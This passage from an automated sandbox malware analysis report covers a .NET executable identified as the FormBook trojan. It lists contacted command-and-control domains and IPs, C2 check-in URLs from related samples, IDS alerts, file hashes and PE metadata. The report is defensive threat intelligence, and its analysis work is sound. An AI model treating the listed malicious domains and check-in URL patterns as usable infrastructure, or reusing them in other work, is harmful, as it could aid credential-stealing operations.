http://www.simarnit.comReferer:	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com/	explorer.exe, 00000003.00000000.1267280115.00000000093C3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2509722390.00000000093C3000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.l1z3x.cfdReferer:	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.terminalcomputer.infoReferer:	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.terminalcomputer.info/us94/	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.hanabi104.online/us94/	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.ontheroadfromdamascus.comReferer:	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.66xecqk.top/us94/	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.nazadypro.shop	explorer.exe, 00000003.00000002.2516134404.000000000BD57000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
66.235.200.145	soccercitycupsc.com	United States	13335	CLOUDFLARENETUS	true
34.120.175.65	www.69v39.top	United States	15169	GOOGLEUS	false
192.229.221.95	unknown	United States	15133	EDGECASTUS	false
91.195.240.123	www.emdefencetech.com	Germany	47846	SEDO-ASDE	true
104.21.48.68	www.nazadypro.shop	United States	13335	CLOUDFLARENETUS	true
204.79.197.203	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1304954
Start date and time:	2023-09-07 08:37:04 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10, Office Professional Plus 2016, Chrome 115, Firefox 115, Adobe Reader 23, Java 8 Update 381
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	2FcJgghyXg.exe
Original Sample Name:	4f91d6f43a69717ff16f3c09dcd0e7e8.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@173/1@4/6
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 78 Number of non-executed functions: 155
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe, SgrmBroker.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, geo.prod.do.dsp.mp.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 2FcJgghyXg.exe

Simulations

Behavior and APIs

Time	Type	Description
08:38:13	API Interceptor	1x Sleep call for process: 2FcJgghyXg.exe modified
08:38:23	API Interceptor	1504x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
66.235.200.145	ClbrTLBbVA.exe	Get hash	malicious	FormBook	Browse	www.adornmentwithadrienne.com/ne28/?yXB=JRhSHg+E0kVeMb5bWxBNKjX7GZb/Gd7gTaCbDgRTO6UaOuEkMa6xiN+s4LYpa+moX3ut&DR-Hl=f48d7hbXPvmPj
	r5573XLX_Confirming_685738_Permiso.vbs	Get hash	malicious	FormBook	Browse	www.shivanshnegi.com/hb6q/?kF=SLfnpSH8JFkD4JBvPgRq/MrmccQ0IKCWuyGgdNK0iEg51HeS6g2oNSkb61BOtzoBwxfmw1AFCol6MwSDOKA9DD+yD/DKRM1OfQ==&LPW33a=EJ_Y5C3RY2AMjvtQ
	BBVA-Confirming_Facturas_Pagadas_al_Vencimiento.vbs	Get hash	malicious	FormBook	Browse	www.shivanshnegi.com/hb6q/?3t-_2h=lQe4u&_30_T=SLfnpSH8JFkD4JBvPgRq/MrmccQ0IKCWuyGgdNK0iEg51HeS6g2oNSkb61BOtzoBwxfmw1AFCol6MwSDOKA9DD+yD/DKRM1OfQ==
	GlobalImagingDocuments9575734549684.vbs	Get hash	malicious	FormBook	Browse	www.shivanshnegi.com/g0c0/?J1ZahCdL=C0KZfCw3M9dgcVMegUaXT5mHrabIsWwgKIwZghABK/zPnQmv2J3/nbZH+UKlayZCqk+j1NVXNAMuRNCfj24K4Q5P5C8DM0dqWdfKhTZFySIl&uEk=kKVhb1ODb
	0ySMPNiDoA.exe	Get hash	malicious	FormBook	Browse	www.theunstoppabletravelers.com/a19i/?4hkT=rLtsLZhSdQwFRkvaG8FjiaGEB8J9o/aSV6LeKN0wyHa1R2N5aTBKUDHw+apOLNME5B3p&aHzLRr=9rl0dna
	6014853.exe	Get hash	malicious	FormBook	Browse	www.firepowerexpo.com/f649/?Ih3=m1lqWHCBQ/kUfIId9G1Zl7+cXxQgMOESuv3uKkpy1j9VjbvHsanxuQVfMZjTZucRw3bqX9o71XHJz8Ptxs35IAYHht5fw0SXRQ==&FTBSzg=_AtxeQJqoYkM5z7B
	DHL Consignment Details_pdf.exe	Get hash	malicious	FormBook	Browse	www.atwatercab.com/s20g/?x8b=8pNLsfJxhBPPAD4P&d48PB=rZ/46zgpbKJOe2X3A4FYFLQg1vAXxuRWnT2LQvG1tr3ZSe4vYgV8EIvoDLg6imzOZAE7E347lg==
	1.exe	Get hash	malicious	FormBook	Browse	www.developingdata.co.uk/jsmf/?E48=dYCiqgXuG3hVFy4ipi3itDieoHPdLKuMx6EIns39DPxXLWZ2l4orKCxGCYXf6kzaGglL4C6u2CyuHPssMtjkBh3HyQ5WL0IwEQ==&w4s=nTG8FX4X
	zapytanie ofertowe09356.exe	Get hash	malicious	FormBook	Browse	www.sianghan.com/vweq/?iX_ll=Sv9LEx&n6CtjVk=kEv03q1ymUsS7T5lOAg/bSIihwA396N/BtF/QOyCK71sVhLsu3phc0aAw/jgZiM4T701
	2kYemccxJ5.exe	Get hash	malicious	FormBook	Browse	www.gasgangllc.com/zgtb/?u6yHt6=XBCDKB81ZNWK6s/uuzkNoySF5lyaVown+0rckZe+lzAxbh/PfzDZwo02x7GwOXqaqmSd&AN9X=7nuP
	MV HARMONY STAR.exe	Get hash	malicious	FormBook	Browse	www.cuttersonthemove.com/bh33/?b8=nRpjtsv9dGMjODFvv8PBqOl+WQV6kIYkn94WJMZzdKBOddTSSkk5WaiWOfXckqyNRw9/&tR-HE=EVPly4e
	SAO.exe	Get hash	malicious	FormBook	Browse	www.dotdrugconsort.com/gfv7/?RH=rr99yo8huE5g/66Pd3jHsFjG/2+3TdEdD1qxJhEhEHZXE8sDFlsIakaAiVUDDJfopEwKRefeog==&p6d=2dxpMhQPtn88
	shipping documents.exe	Get hash	malicious	FormBook	Browse	www.dotdrugconsort.com/gfv7/?C2MxCH=rr99yo8huE5g/66Pd3jHsFjG/2+3TdEdD1qxJhEhEHZXE8sDFlsIakaAiW4Tf4DTuxZb&w8=nR-XW
	DHL_Shipping Documents_pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.cuttersonthemove.com/cloo/?-ZU8-t=-ZgHER&4h=8Vsp4oOYTT9URIh5rrTGBQIuyyYsyJNaKilDByrIU+o0WWwtn/eTnzBLFT1m1siy9eBE
	PO_05964_pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.cuttersonthemove.com/cloo/?VHQtZNj=8Vsp4oOYTT9URIh5rrTGBQIuyyYsyJNaKilDByrIU+o0WWwtn/eTnzBLFT1m1siy9eBE&4hU4I=a2M4HdWh00
	Invoice.xlsx	Get hash	malicious	FormBook	Browse	www.cuttersonthemove.com/wfc6/?AVAtZ=XDN8T76mXlOxosJFEur7mLhKdbei0l7wdtRGO3wHKcKF7/3+7zWyFQC0IosjPS9M67f6zA==&1bqp=1bl0iJ
	inquirt valete.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.blackeagleholdingsllc.com/bjai/?8pqLLLI=nr49rTD4f0noD60ncNBy/0C8JFsVren/6tq46Gwfuu+h8bsfnkMI8OOwpPywKu+mTNdX&GZu=-ZNTK8
	new inquiry.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.blackeagleholdingsllc.com/bjai/?qRlpf=nr49rTD4f0noD60ncNBy/0C8JFsVren/6tq46Gwfuu+h8bsfnkMI8OOwpPywKu+mTNdX&nTUL=8pvLmv8
	SecuriteInfo.com.Variant.Tedy.137414.25339.exe	Get hash	malicious	FormBook	Browse	www.nothingbutdd.com/d23n/?fZLTHxQx=85hU1UZfGUnIF0coTZSIBXJgwcVw2CGuP9+/GqGWIrwThDHUcVonadWzL6RHghH9Wtpc&VhuPB=1bbpDleH3
	CIQ-PO16266.js	Get hash	malicious	FormBook, VjW0rm	Browse	www.muddybootslife.com/np8s/?zVB=5R3gKgAJtID3s3glssHXeRhFadAM4oJIjGTDo+g9ImvY9tNBMPSBarPOG5Bgot7e+72k&CTr8g=z48HVPSHfp

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://oscottmanorbhamsch.myportfolio.com	Get hash	malicious	HTMLPhisher	Browse	104.16.123.96
	https://r20.rs6.net/tn.jsp?f=001enZBNUqZfpj1FepArritjLRjt_EKhELTseQKTXX2JKdWpKe5Ekm1IZdP6BWtX30K6DQp4j0sTmnWrRaJCvnXZxLylsXRok8yoXxQ_c3Ba-_zPFysg_YaPRKyA82xnK4D1niftUzcL2l62Bai0cirWfr-HIV586BA&c=5l6WE3nrInjfx0lNsQWQHjzM0JZ6Vs3yJKPQXtFmhE9mzB-uWnaGuw==&ch=u4rJc66k2xMP4EErHDmBgS5aV-3lgIbR7vZroNuEmQy0AQa4tvEOfg==#aXZhbi50YW5AY2hhbmdpYWlycG9ydC5jb20=	Get hash	malicious	HTMLPhisher	Browse	104.21.44.226
	https://r20.rs6.net/tn.jsp?f=001enZBNUqZfpj1FepArritjLRjt_EKhELTseQKTXX2JKdWpKe5Ekm1IZdP6BWtX30K6DQp4j0sTmnWrRaJCvnXZxLylsXRok8yoXxQ_c3Ba-_zPFysg_YaPRKyA82xnK4D1niftUzcL2l62Bai0cirWfr-HIV586BA&c=5l6WE3nrInjfx0lNsQWQHjzM0JZ6Vs3yJKPQXtFmhE9mzB-uWnaGuw==&ch=u4rJc66k2xMP4EErHDmBgS5aV-3lgIbR7vZroNuEmQy0AQa4tvEOfg==#aXZhbi50YW5AY2hhbmdpYWlycG9ydC5jb20=	Get hash	malicious	Unknown	Browse	104.17.2.184
	http://amos-malware.ru/sendlog	Get hash	malicious	Unknown	Browse	1.1.1.1
	SongHong_BankSlip+Statement.pdf.exe	Get hash	malicious	Lokibot	Browse	172.67.166.54
	https://unitedcatalystcorporation.top/?xvdnxdll	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	https://unitedcatalystcorporation.top/?xvdnxdll	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	DEMONS.x86.elf	Get hash	malicious	Mirai	Browse	104.16.179.54
	https://padlet.com/scans/overview-2xii4m9rdjqre13o	Get hash	malicious	Unknown	Browse	172.64.144.177
	http://tafeconnect.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://tafeconnect.com	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://ss0-ceossonline-eur.web.app/12906/?ZG9sLm1vbXBob3RlekBhY2l3b3JsZHdpZGUuY29t?v=129066cS0/	Get hash	malicious	Unknown	Browse	104.26.0.188
	SecuriteInfo.com.Win32.PWSX-gen.6245.5931.exe	Get hash	malicious	AgentTesla	Browse	162.159.138.232
	https://padlet.com/scans/overview-2xii4m9rdjqre13o	Get hash	malicious	Unknown	Browse	172.64.144.177
	7l63xDVQ0j.rtf	Get hash	malicious	FormBook	Browse	66.235.200.147
	https://e91a04.evarweb.com/hash/#nobody@nobody.org	Get hash	malicious	Unknown	Browse	104.21.56.22
	pXH7bw4qXo.exe	Get hash	malicious	RedLine	Browse	104.20.68.143
	https://gem.godaddy.com/signups/activate/MS0tUGFHV1Q1anVneGRtbmVaWmIvZzBLakgxeXhYeDNVS3lrK1hNNUpzd05JemF3SlBXVU9ESUl3cmUxQkRrckcwZzJkVVB6UTFYdy82YWNDUFM3UXpkR0RJPS0tODJEc2ZjclVzNFRhNjRXZi0tQUZFVWZ1cXQyR1FSS1JpazNub0NhUT09?signup=6882505	Get hash	malicious	Unknown	Browse	104.18.16.182
	http://email.r1.mppwc.com/c/eJyEkkuvgjocxD8N7jCl1EIXLvCBD0RE5Rx1Y0qpFh8USxXw09-cR-49u5s0mWR-M53Nn6mMato3nIEBoW5LbkBo2J4BYaokzRit9JcDh3-dY579xDAiDvmBlDH5LP5DlgWc3x6ThabsT8vBEEGAf2jFH09eMP4v_t77rfIX__PnL3FGnazPLeQ6qMP7FiYIAGIR3BF97joEpcCx7F4vs3oUYgxPiJ8woxBhSjt5HwJoAwKwhQC2e10XAJACJz2Rnu1SQg0ElNW9l2XNukzeO7e-0Lqsvtd9A_oKgq6qcLfg2oC-LrqXqjRs_2TYIwAszyq24WNR4Ou68pZ40czOn2Y6Uxf3mDiCt4l5PfnvcKInEMW7gVlrvFjaq5mqX9HFXZ8mzUtUxboOVunQBbNtHFxqyGkdkXkc7uwJ75XZeBr5x3yg0uSZP59ZexUKgd5p66vV207jat-zY-w-xEGa5kUGy4Hkj0fthnJxaFp6WDVlEUIpF8kR-LYVJHacNx-joNXDT-gzUkj3Y4bHe9OpL8QUgfn5ai4jcxTqz6EQ7w-hqjDYbabTPAVIyuc-WF6BdlqLP6KZjo7V0UIJfc1hsqxW5LVvxvGyfUB2BNt7iwrhNjS_r84NCLxSDjznMqLz0BmmQRw_1-BKy0G2O2w8LMVm_cz3i-2qdhl501afg-v4XSW1-Wbymgyix2Rfe5XfSyKc-jZZqegaznf26rqL9Tidxu-T9vhZpAoNay9kO0814nyI7-QgvcVk75G4es8Pr8mGc6c875bZU7DsbM3q_RSj82yIcF6bh9eNRSUX43Zb7I91Wcy2g4m9kbfIfZe8Od1IWRv26OtBzH5FfKvNhMorLUvBVVfT4mwgcGNUa660LL6vS_X_P6P7w_U_AQAA__9j_SfF	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	Proforma_Invoice.exe	Get hash	malicious	Lokibot	Browse	172.67.192.236

Process:	C:\Users\user\Desktop\2FcJgghyXg.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.348426668631405
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKAKhPKIE4oKqiKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh1oPtHochAHKze0HJ
MD5:	3449F05150847E4D3969CCA837E4A6AA
SHA1:	94A23D6FBBD3389B0019674A6B73F4312AF579A7
SHA-256:	F6B12276037CDAF4907651D712DA7F4856E2D439F3344CF1C4EA15F74CD0C105
SHA-512:	BA4A2F8B480B3FFAD133BF100AF815EE78A9753BE06C22374F7292DC4D0A588851B5AEE1DB78A8F0AE3E030A61DCD6AE25BED9A4C39E2273EF91120D53EA1993
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\45a9a2a2deda365165595326f2f13be6\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\bf1f4d743828bbf720baf57f6a37ce02\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.1938268895265844
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	2FcJgghyXg.exe
File size:	995'840 bytes
MD5:	4f91d6f43a69717ff16f3c09dcd0e7e8
SHA1:	51406ad0646c199764a7b2a26e2d31fed91ad77f
SHA256:	035c64adedb7e567711f5a793c587b5886bea69e725a5f038f2b7f01a1eebd5d
SHA512:	522ee1826085dfee09138c7e69e02d81a66f0157ffc3164417b2aca5a34891e150615520edb8ddbd817307fa2994b7cd3f14bf4daef1bfb82acb14fd18859ba3
SSDEEP:	12288:GPGFbjnlnvSYq7VFFKtanTtcDPHNtr0P18UEbotQ:GajlnqntLTtcLHNtrK8HJ
TLSH:	5F2553FC5CFC1136D9A0EE908ED9851BB1C0A57FF289AC1D97E20B650252A49F88753F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5................0..(...........F... ...`....@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4f46ba
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xA9C135F0 [Thu Apr 1 02:22:40 2060 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xf4667	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf6000	0x5d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xf8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xf2d90	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xf26c0	0xf2800	False	0.5605297599871134	OpenPGP Public Key	6.197752996370087	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xf6000	0x5d8	0x600	False	0.431640625	data	4.178744768711675	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xf8000	0xc	0x200	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xf6090	0x348	data			0.4297619047619048
RT_MANIFEST	0xf63e8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.834.120.175.6549774802031412 09/07/23-08:40:07.074597	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49774	80	192.168.2.8	34.120.175.65
192.168.2.866.235.200.14549773802031412 09/07/23-08:39:43.584229	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49773	80	192.168.2.8	66.235.200.145
192.168.2.8104.21.48.6849772802031412 09/07/23-08:39:22.654043	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49772	80	192.168.2.8	104.21.48.68
192.168.2.891.195.240.12349771802031412 09/07/23-08:39:01.528390	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49771	80	192.168.2.8	91.195.240.123
192.168.2.88.8.8.859429532023883 09/07/23-08:40:05.355051	UDP	2023883	ET DNS Query to a *.top domain - Likely Hostile	59429	53	192.168.2.8	8.8.8.8

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 7, 2023 08:38:15.168216944 CEST	49709	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:15.481720924 CEST	49709	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:16.091490984 CEST	49709	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:17.294528008 CEST	49709	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:18.404087067 CEST	49688	443	192.168.2.8	204.79.197.203
Sep 7, 2023 08:38:18.519192934 CEST	49689	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:18.716509104 CEST	49688	443	192.168.2.8	204.79.197.203
Sep 7, 2023 08:38:18.825829029 CEST	49689	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:19.325841904 CEST	49688	443	192.168.2.8	204.79.197.203
Sep 7, 2023 08:38:19.435262918 CEST	49689	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:19.700877905 CEST	49709	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:20.529165030 CEST	49688	443	192.168.2.8	204.79.197.203
Sep 7, 2023 08:38:20.638587952 CEST	49689	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:20.718303919 CEST	49703	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:20.720813036 CEST	49702	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:21.029684067 CEST	49703	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:21.029685974 CEST	49702	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:21.638560057 CEST	49703	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:21.641443968 CEST	49702	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:22.841756105 CEST	49703	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:22.841759920 CEST	49702	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:22.935703039 CEST	49688	443	192.168.2.8	204.79.197.203
Sep 7, 2023 08:38:23.045326948 CEST	49689	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:24.513827085 CEST	49709	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:25.248215914 CEST	49703	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:25.249921083 CEST	49702	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:27.748444080 CEST	49688	443	192.168.2.8	204.79.197.203
Sep 7, 2023 08:38:27.876285076 CEST	49689	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:30.170613050 CEST	49703	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:30.170761108 CEST	49702	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:32.061820984 CEST	49719	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:32.373914003 CEST	49719	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:33.061518908 CEST	49719	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:34.124080896 CEST	49709	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:34.276146889 CEST	49719	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:36.686846018 CEST	49719	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:37.358659029 CEST	49688	443	192.168.2.8	204.79.197.203
Sep 7, 2023 08:38:37.483685970 CEST	49689	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:39.780746937 CEST	49703	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:39.782044888 CEST	49702	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:41.499728918 CEST	49719	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:38:51.141220093 CEST	49719	80	192.168.2.8	192.229.221.95
Sep 7, 2023 08:39:01.210989952 CEST	49771	80	192.168.2.8	91.195.240.123
Sep 7, 2023 08:39:01.527806044 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:01.528043032 CEST	49771	80	192.168.2.8	91.195.240.123
Sep 7, 2023 08:39:01.528389931 CEST	49771	80	192.168.2.8	91.195.240.123
Sep 7, 2023 08:39:01.876094103 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:01.876183987 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:01.876255989 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:01.876389980 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:01.876463890 CEST	80	49771	91.195.240.123	192.168.2.8
Sep 7, 2023 08:39:01.876480103 CEST	49771	80	192.168.2.8	91.195.240.123
